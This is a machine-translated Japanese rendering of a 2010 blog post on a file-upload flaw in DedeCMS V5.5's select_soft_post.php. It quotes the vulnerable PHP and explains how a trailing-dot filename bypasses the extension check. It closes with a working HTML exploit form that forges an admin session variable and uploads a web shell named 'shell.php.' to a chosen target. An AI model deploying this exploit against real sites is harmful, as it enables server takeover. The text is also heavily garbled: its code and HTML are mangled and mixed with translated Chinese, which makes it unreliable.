DEDECMS V5.5決勝select_soft_post.php脆弱性記事マンション、記事マンションV5.5、select_soft

記事マンションV5.5決勝select_soft_post.phpの脆弱性

このエントリは2010年3月9日に投稿されました

：St0p
再現し、ソースhttp://www.st0p.orgをご記入ください

：オオカミのセキュリティチームtoby57ダニエルから参照してください、記事の無味抜け穴"、オリジナルのアドレスのファイナルでV5.5 GBKの記事のマンションをリリースhttp://bbs.wolvez.org/topic/125/

session.auto_startは= 1の場合の要件は、一般session.auto_startは、このがオフになっているため、ローカルテストのカバレッジセッションがこの小さな鶏の脅威は、trueであるため、これはニワトリの脅威ですが、あなたが成功テイクSHELLの後ろに例背景に使用することができます...

session.auto_startは一般的に使用するにsession_start（）は、統計を見て、唯一のsession.auto_startはオープン、最初のsession_start（）をコールし、可能である。私はしませんでしたしかし、特定の雑多なカバレッジSESSION本当にできない...参照で時間を非ハローの頭を見つけるために、以下を参照してください..

私は、実際に見て、GBKとUTF8は、問題がある、なぜこの大規模な牛の見出しGBKを見つけることがわからない...

/含まれ/ダイアログ/ select_soft_post.php見

主な問題は、手動で一部の名前を変更し、ファイル名を指定するために登場しました。時間、私たちの名前st0p.php。（注）は、PHPの後、あなたはコードを見て、検証をスキップすることができる点があるとき

  ......
 / /ファイル名（自動的に処理されるマニュアルの指定、など）
 ! empty ( $newname ) ) もし（！空（$ newnameを））
 {
	 $newname ; //当我们的新名称为st0p.php.的时候 $名= $ newnameを/ / st0p.phpの新しい名前を入力します。
	 ! ereg ( "\." , $filename ) ) $fs = explode ( '.' , $uploadfile_name ) ; //当$filename中不含有.的时候调用 （！その類似関数（ "\"、$ファイル名））; / / $ filenameには含まれていないコール$ FS =爆発する（ '。'、uploadfile_name $）の場合
	 = explode ( '.' , $filename ) ; //当$filename中含有.时调用 他の$ FS =爆発する（$ファイル名 '。'）; / / $ filenameに含まれているコール
	 eregi ( $cfg_not_allowall , $fs [ count ( $fs ) - 1 ] ) ) //$fs[count($fs)-1]得到的值为空,跳过验证 IF（返すeregi（$ cfg_not_allowall、$ FS [カウント（$ FS） - 1]））/ / $ FS [カウント（$ FS）-1]の値が空白になって取得するには、検証をスキップ
	 {
		 , 'javascript:;' ) ; ShowMsg（ "あなたが指定したファイル名が禁止されている！"、 "Javascriptを：; '）;
		 ; 出口（）;
	 }
	 ! ereg ( "\." , $filename ) ) $filename = $filename . '.' . $fs [ count ( $fs ) - 1 ] ; もし$ファイル名= $ファイル名$ FS [カウント（$ FS） - 1]（ただし、ereg（ "\"、$ filename）が！） '。';
 }
 他
 {
	 $cuserLogin -> getUserID ( ) . '-' . dd2char ( MyDate ( 'ymdHis' , $nowtme ) ) ; $名= $ cuserLogin - > getUserID（） ' - ' Dd2char（MyDateを（ 'ymdHis'、$ nowtme））;。
	 explode ( '.' , $uploadfile_name ) ; Fsは=（ '。'、$ Uploadfile_name）爆発する$;
	 eregi ( $cfg_not_allowall , $fs [ count ( $fs ) - 1 ] ) ) IF（返すeregi（$ cfg_not_allowall、$ FS [カウント（$ FS） - 1]））
	 {
		 , 'javascript:;' ) ; ShowMsg（ "あなたは危険なことがあり、いくつかのファイルをアップロードすると、システムは操作を拒否しました！"、 "Javascriptを：; '）;
		 ; 出口（）;
	 }
	 $filename . '.' . $fs [ count ( $fs ) - 1 ] ; $名= $ファイル名'' $ FS [カウント（$ FS） - 1];
 }
 $cfg_basedir . $activepath . '/' . $filename ; //嘿嘿,跳过验证,$filename还为st0p.php. $ Fullfilename = $ cfg_basedir $ Activepath '/' $ファイル名。。/ /ねえ、スキップ検証、$ filenameにst0p.php。
 $activepath . '/' . $filename ; $ Fullfileurl = $ activepath '/' $ファイル名。。
 $uploadfile , $fullfilename ) or die ( "上传文件到$fullfilename 失败！" ) ; move_uploaded_file（$をUploadFile、$ fullfilename）または死ぬ（ "$ fullfilename失敗するにファイルをアップロードする！"）;
 ( $uploadfile ) ; @はunlink（$をUploadFile）;
 ......

EXPは、次のとおりです。

  <DOCTYPE HTML PUBLIC " -  / / W3C / / DTD XHTML 1.0暫定/ / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <HEAD>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>はV5.5最終select_soft_post.phpのEXP </タイトル> DEDECMS
 <script type="text/javascript">
関数fsubmit（）{
     VAR形式= document.forms [0];
     form.action = form.target.value + form.path.value。
     tmpstr = form.target.value + '/' + form.newname.value。
     form.bkurl.value = tmpstr.substr（0、tmpstr.length-1）;
     form.submit（）;
     }
 </ SCRIPT>
 <style type="text/css">
 < - 
 BODY {
	テキストが整列：センター;
 }
 - >
 </ STYLE>
 </ HEAD>

 <BODY>
 <H3>はV5.5最終select_soft_post.phpのEXP </ H3>をDEDECMS
 <form action="" METHOD="POST" enctype="multipart/form-data">
   <P>
     <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
     <input type="hidden" name="bkurl" value="1" />
     <label>はターゲット：
       <input type="text" name="target" id="target" value="http://target" />
     </ラベル>
     <label>はパス：
       <input type="text" name="path" id="path" value="/include/dialog/select_soft_post.php" />
     </ラベル>
     <label>はファイル：
      の<INPUT type="file" name="uploadfile" id="uploadfile" />
     </ラベル>
     <label>はNewNameに：
       <input type="text" name="newname" id="newname" value="shell.php." />
     </ラベル>
     <input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
   </ P>
 </ FORM>
 </ BODY>
 </ HTML>